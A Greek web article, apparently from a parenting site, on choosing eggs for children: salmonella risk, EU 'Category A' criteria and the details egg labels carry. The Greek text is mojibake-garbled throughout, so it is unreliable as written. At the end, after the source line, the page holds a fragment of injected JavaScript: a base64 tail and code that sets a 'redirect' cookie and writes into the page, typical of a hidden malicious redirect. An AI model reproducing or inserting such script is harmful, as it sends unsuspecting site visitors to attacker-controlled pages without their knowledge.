Τι πρ╬şπει να προσ╬şχουμε ¤îταν επιλ╬şγουμε αυγ╬Č
Το αυγ¤î ε╬»ναι κατ╬Č γενικ╬« ομολογ╬»α πολ¤Ź σημαντικ¤î σε ╬şνα πλ╬«ρες διαιτολογ╬»ο για ╬şνα παιδ╬», αλλ╬Č ακ¤îμα πιο σημαντικ¤îς ε╬»ναι ο τρ¤îπος που το επιλ╬şγουμε.
Τα αυγ╬Č δεν πρ╬şπει να διατ╬»θενται χωρ╬»ς πιστοπο╬»ηση απ¤î αμφιβ¤îλου προ╬şλευσης πηγ╬şς, καθ¤Äς ε╬»ναι μ╬»α τροφ╬« που χρει╬Čζεται ιδια╬»τερη φροντ╬»δα και συντ╬«ρηση μ╬şχρι να φτ╬Čσει στον καταναλωτ╬«.
Τα αυγ╬Č μπορο¤Źν να περι╬şχουν σαλμον╬şλα, ╬şνα βακτ╬«ριο που σχετ╬»ζεται με τροφικ╬şς δηλητηρι╬Čσεις.
Στην ευρωπα¤Őκ╬« αγορ╬Č τα μ¤îνα αυγ╬Č που μπορο¤Źν να προσφ╬şρονται για καταν╬Čλωση στα σημε╬»α λιανικ╬«ς π¤Äλησης ε╬»ναι τα αυγ╬Č που δεν ╬şχουν υποστε╬» επ¤Äαση ╬« βρασμ¤î και που εμπ╬»πτουν στην “Κατηγορ╬»α Α” (στη συσκευασ╬»α μπορε╬» να αναγρ╬Čφονται ╬«/και οι λ╬şξεις “Φρ╬şσκα αυγ╬Č”).
Η “Κατηγορ╬»α Α” αναφ╬şρεται σε αυγ╬Č φυσιολογικ╬Č (με καθορισμ╬şνο σχ╬«μα), καθαρ╬Č, αν╬şπαφα (χωρ╬»ς ρωγμ╬şς ╬« ╬Čλλου ε╬»δους ραγ╬»σματα), με μικρ¤î αεροθ╬Čλαμο (μικρ¤îτερο των 6 χιλιοστ¤Äν) και χωρ╬»ς οσμ╬« απ¤î ξ╬ş¬να σ¤Äματα.
Οι παραγωγο╬»/ κ╬şντρα συσκευασ╬»ας αυγ¤Äν πρ╬şπει να παρ╬şχουν π╬Čνω στη συσκευασ╬»α και τις ακ¤îλουθες πληροφορ╬»ες.
- Τον αριθμ¤î των αυγ¤Äν στη συσκευασ╬»α (π.χ. 6 αυγ╬Č).
- Τη μ╬şθοδο παραγωγ╬«ς (Συν╬«θη ╬« Κλωβοστοιχ╬»ας, Στρωμν╬«ς ╬« Αχυρ¤Äνα, Ελε¤Źθερης βοσκ╬«ς, Βιολογικ╬Č). Στην περ╬»πτωση χρ╬«σης αναβαθμισμ╬şνων/ διευθετημ╬şνων κλωβ¤Äν μπορο¤Źν να αναγρ╬Čφονται οι λ╬şξεις «Αναβαθμισμ╬şνοι/ Διευθετημ╬şνοι κλωβο╬»».
- Την κατηγορ╬»α β╬Čρους των αυγ¤Äν: Για τις τ╬şσσερις κατηγορ╬»ες β╬Čρους ισχ¤Źουν ως «S» (small) (μικρ¤îτερο των 53 γραμμ╬Čριων), «Μ» (medium) (μεταξ¤Ź 53 και 63 γραμμαρ╬»ων), «L» (large) (μεταξ¤Ź 63 και 73 γραμμαρ╬»ων) και «XL» (extralarge) (μεγα¬λ¤Źτερο των 73 γραμμαρ╬»ων). Αντ╬» των ψηφ╬»ων «S», «Μ», «L» και «XL» μπορο¤Źν να αναγρ╬Čφονται οι λ╬şξεις «μικρ¤î» ╬«/και «β╬Čρος μικρ¤îτερο των 53g», «μεσα╬»ο» ╬«/και «β╬Čρος ╬»σο ╬« μεγαλ¤Źτερο των 53gκαι μικρ¤îτερο των 63g», «μεγ╬Čλο» ╬«/και «β╬Čρος ╬»σο ╬« μεγαλ¤Źτερο των 63gκαι μικρ¤îτερο των 73g», «πολ¤Ź μεγ╬Čλο» ╬«/και «β╬Čρος ╬»σο ╬« μεγαλ¤Źτερο των 73g» αντ╬»στοιχα.
- Την ╬şνδειξη «Αν╬Čλωση πριν απ¤î»: δηλαδ╬«, την ημερομην╬»α που ╬şχει καθορισθε╬» να υπολογ╬»ζεται με μ╬şγιστο ¤îριο την 28η μ╬şρα μετ╬Č την ωοτοκ╬»α του αυγο¤Ź. Η παραμον╬«, ¤îμως, των αυγ¤Äν στα σημε╬»α λιανικ╬«ς π¤Äλησης δεν πρ╬şπει να υπερβα╬»νει την 21η ημ╬şρα απ¤î την ωοτοκ╬»α του αυγο¤Ź.
- Το δεκαψ╬«φιο αριθμ¤î του κ╬şντρου συσκευασ╬»ας, ο οπο╬»ος ε╬»ναι αποτυπωμ╬şνος και στο κ╬şλυφος του αυγο¤Ź που βρ╬»σκεται εντ¤îς της συσκευασ╬»ας.
- Το ¤îνομα ╬« την εταιρικ╬« επωνυμ╬»α του κ╬şντρου συσκευασ╬»ας αυγ¤Äν.
- Την τιμ╬«.
- Την επισ╬«μανση ¤îτι τα αυγ╬Č πρ╬şπει «Να διατηρο¤Źνται με απλ╬« ψ¤Źξη μετ╬Č την αγορ╬Č».
- Τ╬şλος, υπ╬Čρχει και η επιλογ╬« αγορ╬Čς αυγ¤Äν που ╬şχουν μεγαλ¤Źτερη συγκ╬şντρωση ορισμ╬şνων ουσι¤Äν (π.χ. ω-3 λιπαρ╬Č οξ╬şα) και θεωρο¤Źνται αυξημ╬şνης διαιτητικ╬«ς αξ╬»ας.
Τα αυγ╬Č αυτ╬Č παρ╬Čγονται απ¤î ¤îρνιθες που τρ╬şφονται με διαφοροποιημ╬şνο σιτηρ╬şσιο, το οπο╬»ο ╬şχει συστατικ╬Č με αυξημ╬şνη περιεκτικ¤îτητα σε “ω-3” λιπαρ╬Č οξ╬şα, μ╬şρος των οπο╬»ων μεταφ╬şρεται και στο αυγ¤î.
Πηγ╬«: mother.gr
SU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘
Leave a Reply
You must be logged in to post a comment.